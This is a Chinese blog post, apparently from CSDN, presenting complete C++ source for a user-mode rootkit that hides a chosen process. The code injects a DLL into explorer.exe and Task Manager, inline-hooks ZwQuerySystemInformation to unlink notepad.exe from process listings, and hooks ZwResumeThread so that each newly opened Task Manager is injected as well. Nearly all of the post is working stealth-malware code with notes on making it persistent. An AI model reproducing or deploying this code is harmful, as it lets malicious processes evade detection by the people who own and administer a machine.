3环下进程隐藏------持续隐藏防新开

因为上篇进程隐藏存在这一些缺陷,比如只能对当前打开的任务管理器隐藏,关闭任务管理器重开就无法隐藏了,原因很简单,因为重开的任务管理器并没有被我们Hook,自然无效

Notes:
1.新版进程隐藏致力于解决这个问题
HideProc负责将Dll注入explorer.exe 和已经运行的 taskmgr.exe
DLL加入自动识别模块,如果自身被注入到taskmgr.exe则Hook ZwQuerySystemInformation,如果自身被注入到explorer.exe则Hook ZwResumeThread,再比较当前创建的新进程是否为需要隐藏的进程,如果是则注入DLL,Hook新进程的工作自动交由新注入的dll完成,自身等待下一个新进程的创建
2.由于ZwResumeThread函数的第一个参数是线程句柄所以一开始使用GetProcessIdOfThread函数通过线程句柄获取其所属的进程PID然后再进行后续工作,结果测试各种出错,DLLMAIN函数都没法运行,调试后发现XP下这个API不能用……………不能用就算了,,,结果编译也没报错,所以只能查资料看看有没有什么替代方法,然后重写了这个功能的函数叫GetProcessIdFromThread
3.函数中的prepid很重要,解决上面2的问题之后打开taskmgr会各种报错,OD附加调试了半天发现,创建taskmgr进程的同时会创建大量的线程,而我们Hook的是ZwResumeThread,使得线程恢复运行的函数,所以会将DLL重复多次注入到taskmgr引起错误,所以加入一个prepid记录上次注入的线程对应进程的pid,如果相同就不注入了,成功解决了这个问题
5.函数灵活化,统一编写Hook和UNHook函数,流程更清晰。
6.程序整体灵活化,想隐藏什么进程,想对谁隐藏只要修改字符串数组即可

代码:
HideProc.cpp:

#include "windows.h"
#include "Tlhelp32.h"
#include <iostream>
using namespace std;

LPCTSTR Dll_Path=L"d:hack.dll";
WCHAR Inject_name[2][100]={L"taskmgr.exe",L"explorer.exe"};
int inject_num=2;


BOOL Whether_Inject(const WCHAR *processname){
    for(int i=0;i<inject_num;i++){
        WCHAR *s=Inject_name[i];
        while(*processname==*s && *processname!='\0' && *s!='\0'){
            processname++;
            s++;
        }
        if (*processname == '\0' && *s == '\0') return true;
    }
    return false;
}

void InjectDll(DWORD pid=0){
    if(pid==0) return;
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProcess){
        cout<<"OpenProcess failed,error code: "<<GetLastError()<<endl;
        return;
    }
    LPVOID pRemoteBuf=NULL;
    DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
    pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
    LPTHREAD_START_ROUTINE pThreadProc;
    HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
    pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
    CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
    CloseHandle(hProcess);
    hProcess=NULL;
}


BOOL EnableDebugPrivilege(){
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
            cout<<"Can't lookup privilege value"<<endl;
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;//这一句很关键,修改其属性为SE_PRIVILEGE_ENABLED
        if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
            cout<<"Can't adjust privilege value"<<endl;
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
        hToken=NULL;
    }
    return fOk;
}

int main(){
    BOOL isPrivilege=false;
    isPrivilege=EnableDebugPrivilege();//提权
    if(!isPrivilege){
        cout<<"EnableDebugPrivilege failed"<<endl;
        return 0;
    }
    PROCESSENTRY32 pe;
    pe.dwSize=sizeof(pe);
    BOOL code=false;
    HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    if(INVALID_HANDLE_VALUE!=hSnapShot){
        BOOL bprocess=Process32First(hSnapShot,&pe);
        while(bprocess){
            code=Whether_Inject(pe.szExeFile);
            if(code){
                InjectDll(pe.th32ProcessID);
            }
            bprocess=Process32Next(hSnapShot,&pe);
        }
    }
    CloseHandle(hSnapShot);
    hSnapShot=NULL;
    system("pause");
    return 0;
}

Hide.h:

#include "windows.h"
#include "Tlhelp32.h"


//*****************************************************↓↓↓结构体定义↓↓↓************************************************************

typedef LONG NTSTATUS;

typedef struct _CLIENT_ID {                 //CLIENT_ID结构体定义
    HANDLE          UniqueProcess;
    HANDLE          UniqueThread;
} CLIENT_ID;

typedef struct _LSA_UNICODE_STRING {        //UNICODE_STRING结构体定义
    USHORT          Length;
    USHORT          MaximumLength;
    PWSTR           Buffer;
}UNICODE_STRING;

typedef struct _SYSTEM_PROCESS_INFORMATION {           //进程信息结构体定义
    ULONG           NextEntryOffset;        //下一个结构的偏移
    ULONG           NumberOfThreads;
    BYTE            Reserved1[48];
    UNICODE_STRING  ProcessName;   //进程名字
    ULONG           BasePriority;
    HANDLE          UniqueProcessId;       //进程Pid
    PVOID           Reserved3;
    ULONG           HandleCount;
    BYTE            Reserved4[4];
    PVOID           Reserved5[11];
    SIZE_T          PeakPagefileUsage;
    SIZE_T          PrivatePageCount;
    LARGE_INTEGER   Reserved6[6];
} SYSTEM_PROCESS_INFORMATION,*PSYSTEM_PROCESS_INFORMATION;

typedef struct _THREAD_BASIC_INFORMATION {         //线程信息结构体定义
  NTSTATUS          ExitStatus;
  PVOID             TebBaseAddress;
  CLIENT_ID         ClientId;
  ULONG             AffinityMask;
  LONG              Priority;
  LONG              BasePriority;
} THREAD_BASIC_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)    //ZwQuerySystemInformation函数原型定义
                     (ULONG     SystemInformationClass, 
                      PVOID     SystemInformation, 
                      ULONG     SystemInformationLength, 
                      PULONG    ReturnLength);

typedef NTSTATUS (WINAPI *PFZWRESUMETHREAD)             //ZwResumeThread函数原型定义
                     (HANDLE    ThreadHandle,
                      PULONG    SuspendCount);

typedef NTSTATUS (WINAPI *ZWQUERYINFORMATIONTHREAD)             //ZwQueryInformationThread函数原型定义
                     (HANDLE            ThreadHandle,
                      ULONG             ThreadInformationClass,
                      PVOID             ThreadInformation,
                      ULONG             ThreadInformationLength,
                      PULONG            ReturnLength);

//*****************************************************↓↓↓函数原型申明↓↓↓************************************************************

//实现Hook的函数:  (要钩取的函数所在的DLL名称,要钩取的函数名称,自定义函数的函数地址,保存原函数前5字节信息的byte)
BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte);


//实现unHook的函数:(要取消钩取的函数所在的DLL名称,要取消钩取的函数名称,保存原函数前5字节信息的byte)
BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte);  


//自定义的 ZwQuerySystemInformation
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);


//自定义的 ZwResumeThread
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount);


//权限提升
BOOL EnableDebugPrivilege();


//Dll注入函数
void InjectDll(DWORD pid);


//判断是否为目标
BOOL Whether_Hide_Goal(const WCHAR *processname);


//通过线程ID找到其进程ID
DWORD GetProcessIdFromThread(HANDLE ThreadHandle);  //GetProcessIdOfThread 超级坑,xp下没有这个API但是编译不会报错....

Hide.cpp

#include "Hide.h"
#define SystemProcessInformation    5
#define STATUS_SUCCESS              (0x00000000L) 

//*****************************************************↓↓↓常量定义↓↓↓************************************************************
BYTE        ZwQuerySystemInformation_origin_byte[5] = {0,};
BYTE        ZwResumeThread_origin_byte[5] = {0,};
LPCTSTR     Dll_Path=L"d:hack.dll";
PWSTR       Hide_Process=L"notepad.exe";
WCHAR       Goal_Name[1][100]={L"taskmgr"};
WCHAR       filename[MAX_PATH];
static DWORD prepid=0;

//*****************************************************↓↓↓函数实现↓↓↓************************************************************
BOOL Whether_Hide_Goal(const WCHAR *processname){
    const WCHAR *ori=processname;
    for(int i=0;i<1;i++){
        processname=ori;
        while(*processname!='\0'){
            WCHAR *s=Goal_Name[i];
            while(*processname!=*s && *processname!=(*s)-32 && *processname!='\0'){
                processname++;
            }
            while(*processname!='\0' && (*processname==*s || *processname==(*s)-32)){
                processname++;
                s++;
            }
            if(*s=='\0'){
                return true;
            }
        }
    }
    return false;
}
void InjectDll(DWORD pid=0){
    if(pid==0)      return;
    EnableDebugPrivilege();  //权限提升
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProcess)   return;
    LPVOID pRemoteBuf=NULL;
    DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
    pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
    LPTHREAD_START_ROUTINE pThreadProc;
    HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
    pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
    CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
    CloseHandle(hProcess);
    hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
        hToken=NULL;
    }
    return fOk;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        GetModuleFileName(NULL,filename,MAX_PATH);
        if(Whether_Hide_Goal(filename)){   //如果是我们想对其隐藏的进程则对ZwQuerySystemInformation挂钩
            hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
        }else{                             //否则一定是explorer则对ZwResumeThread挂钩
            hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte);
        }
        break;

    case DLL_PROCESS_DETACH:
        unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte);
        unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte);
        break;
    }
    return TRUE;
}

BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte){
    FARPROC p_ori_func;
    PBYTE   pbyte;
    DWORD   oldprotect,address;
    byte    newbuf[5]={0xE9,0,};

    p_ori_func=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName);     //获取原函数地址
    pbyte=(PBYTE)p_ori_func;
    if(pbyte[0]==0xE9)    return false;
    VirtualProtect((LPVOID)p_ori_func,5,PAGE_EXECUTE_READWRITE,&oldprotect);    //修改5字节属性为可写
    memcpy(origin_byte,p_ori_func,5);                                           //保存原函数前5字节指令
    address=(DWORD)Func_New-(DWORD)p_ori_func-5;                                //计算跳转到NewZwQuerySystemInformation函数需要的jmp地址
    memcpy(&newbuf[1],&address,4);                                              //将计算出的地址写入newbuf
    memcpy(p_ori_func,newbuf,5);                                                //原函数处写入jmp xxx实现Hook
    VirtualProtect((LPVOID)p_ori_func, 5, oldprotect, &oldprotect);             //恢复刚刚调整过的属性
    return true;
}

BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte){
    FARPROC pfunc;
    PBYTE pbyte;
    DWORD oldprotect;

    pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName);          //获取原函数地址
    pbyte=(PBYTE)pfunc;
    if(pbyte[0]!=0xE9)   return false;
    VirtualProtect((LPVOID)pfunc,5,PAGE_EXECUTE_READWRITE,&oldprotect);         //修改5字节属性为可写
    memcpy(pfunc,origin_byte,5);                                                //原函数前5字节恢复
    VirtualProtect((LPVOID)pfunc,5,oldprotect,&oldprotect);                     //恢复刚刚调整过的属性
    return true;
}


NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pfunc;
    PSYSTEM_PROCESS_INFORMATION pcur,pprev;

    unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte);         //解除Hook   ZwQuerySystemInformation   防止无限循环
    pfunc=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQuerySystemInformation");    //动态获取原函数地址
    status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);  //按照原始参数顺序调用原函数
    if(status != STATUS_SUCCESS ){                  //判断调用是否成功不可以的话就断Hook 返回错误status
        hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
        return status;
    }
    if( SystemInformationClass == SystemProcessInformation ){       //只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作
        pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;      //当前指针指向返回的SystemInformation结构体
        while(TRUE){
            if(pcur->ProcessName.Buffer){                           //此结构体ProcessName成员的Buffer成员存在则进入
                if(!wcscmp(pcur->ProcessName.Buffer,Hide_Process)){ //比较此结构体进程名是否为需要隐藏的进程名,是则进行链表下链操作
                    if(pcur->NextEntryOffset == 0)
                        pprev->NextEntryOffset = 0;
                    else
                        pprev->NextEntryOffset += pcur->NextEntryOffset;
                }
                else        
                    pprev = pcur;                                   //非需要隐藏的进程则当前指针和前向指针分别后移一个
            }

            if(pcur->NextEntryOffset == 0)                          //没有下一个了就退出
                break;
            pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
        }
    }
    hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);   //处理完成,再次Hook
    return status;                                                  //返回status
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount){
    DWORD pid=GetProcessIdFromThread(ThreadHandle);  //获取新线程的进程PID
    if(pid!=GetCurrentProcessId() && pid!=prepid){
        PROCESSENTRY32 pe;
        pe.dwSize=sizeof(pe);
        HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
        if(INVALID_HANDLE_VALUE!=hSnapShot){
            BOOL bprocess=Process32First(hSnapShot,&pe);
            while(bprocess){
                if(pe.th32ProcessID==pid && Whether_Hide_Goal(pe.szExeFile)){       //遍历进程列表如果新创建的进程的名字是要隐藏的目标的话就InjectDll
                    prepid=pid;
                    InjectDll(pid);          //DLL注入
                    break;
                }
                bprocess=Process32Next(hSnapShot,&pe);
            }
        }
        CloseHandle(hSnapShot);
        hSnapShot=NULL;
    }
    unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte);            //防止死循环
    FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwResumeThread");    //动态获取原函数地址
    NTSTATUS status=((PFZWRESUMETHREAD)pfn)(ThreadHandle,SuspendCount);
    hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte);   //再次Hook住
    return status;
}
DWORD GetProcessIdFromThread(HANDLE ThreadHandle){
    THREAD_BASIC_INFORMATION tbi;
    FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQueryInformationThread");
    NTSTATUS status=((ZWQUERYINFORMATIONTHREAD)pfn)(ThreadHandle,0,&tbi,sizeof(tbi),NULL);
    return (DWORD)tbi.ClientId.UniqueProcess;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值